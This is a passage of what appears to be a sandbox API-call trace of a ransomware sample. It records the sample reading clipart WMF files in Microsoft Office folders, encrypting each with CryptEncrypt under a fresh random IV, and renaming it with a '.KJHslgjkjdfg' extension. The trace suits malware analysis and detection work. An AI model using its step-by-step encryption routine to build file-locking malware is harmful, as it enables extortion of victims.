lpNumberOfBytesRead=0x4dff27c*=0x5080, lpOverlapped=0x0) returned 1 [0216.792] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5080, dwBufLen=0x5080 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5080) returned 1 [0216.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.793] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5080, lpOverlapped=0x0) returned 1 [0216.793] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.793] SetEndOfFile (hFile=0x130) returned 1 [0216.796] GetProcessHeap () returned 0x2ef0000 [0216.796] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.796] GetProcessHeap () returned 0x2ef0000 [0216.796] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.kjhslgjkjdfg")) returned 1 [0216.798] CloseHandle (hObject=0x130) returned 1 [0216.798] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1 [0216.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.799] GetProcessHeap () returned 0x2ef0000 [0216.799] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.799] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.799] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.801] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.801] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.801] GetProcessHeap () returned 0x2ef0000 [0216.801] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.801] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.801] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.801] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.802] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.802] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.802] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.802] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.802] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.802] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.802] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1fc8, lpOverlapped=0x0) returned 1 [0216.803] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fd0) returned 1 [0216.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.804] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1fd0, lpOverlapped=0x0) returned 1 [0216.804] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.804] SetEndOfFile (hFile=0x130) returned 1 [0216.807] GetProcessHeap () returned 0x2ef0000 [0216.807] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.807] GetProcessHeap () returned 0x2ef0000 [0216.807] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.kjhslgjkjdfg")) returned 1 [0216.809] CloseHandle (hObject=0x130) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1 [0216.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.810] GetProcessHeap () returned 0x2ef0000 [0216.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.810] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.810] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.813] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.813] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.813] GetProcessHeap () returned 0x2ef0000 [0216.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.813] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.814] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.814] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.814] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.814] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.814] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x28ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x28ec, lpOverlapped=0x0) returned 1 [0216.815] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28f0, dwBufLen=0x28f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28f0) returned 1 [0216.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.815] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x28f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x28f0, lpOverlapped=0x0) returned 1 [0216.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x29c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.816] SetEndOfFile (hFile=0x130) returned 1 [0216.819] GetProcessHeap () returned 0x2ef0000 [0216.819] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.819] GetProcessHeap () returned 0x2ef0000 [0216.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.kjhslgjkjdfg")) returned 1 [0216.821] CloseHandle (hObject=0x130) returned 1 [0216.821] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1 [0216.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.822] GetProcessHeap () returned 0x2ef0000 [0216.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.822] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.825] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.825] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.825] GetProcessHeap () returned 0x2ef0000 [0216.825] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.825] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.825] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.825] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.826] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.826] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.826] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.826] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb24, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb24, lpOverlapped=0x0) returned 1 [0216.826] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb30, dwBufLen=0xb30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb30) returned 1 [0216.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.826] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb30, lpOverlapped=0x0) returned 1 [0216.826] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.826] SetEndOfFile (hFile=0x130) returned 1 [0216.829] GetProcessHeap () returned 0x2ef0000 [0216.829] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.829] GetProcessHeap () returned 0x2ef0000 [0216.829] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.kjhslgjkjdfg")) returned 1 [0216.831] CloseHandle (hObject=0x130) returned 1 [0216.831] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1 [0216.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.832] GetProcessHeap () returned 0x2ef0000 [0216.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.832] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.832] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.836] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.836] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.836] GetProcessHeap () returned 0x2ef0000 [0216.836] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.836] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.836] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.836] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.836] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.836] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.836] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.836] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.837] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.837] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.837] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2fb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2fb8, lpOverlapped=0x0) returned 1 [0216.838] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2fc0, dwBufLen=0x2fc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2fc0) returned 1 [0216.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.838] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2fc0, lpOverlapped=0x0) returned 1 [0216.838] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.838] SetEndOfFile 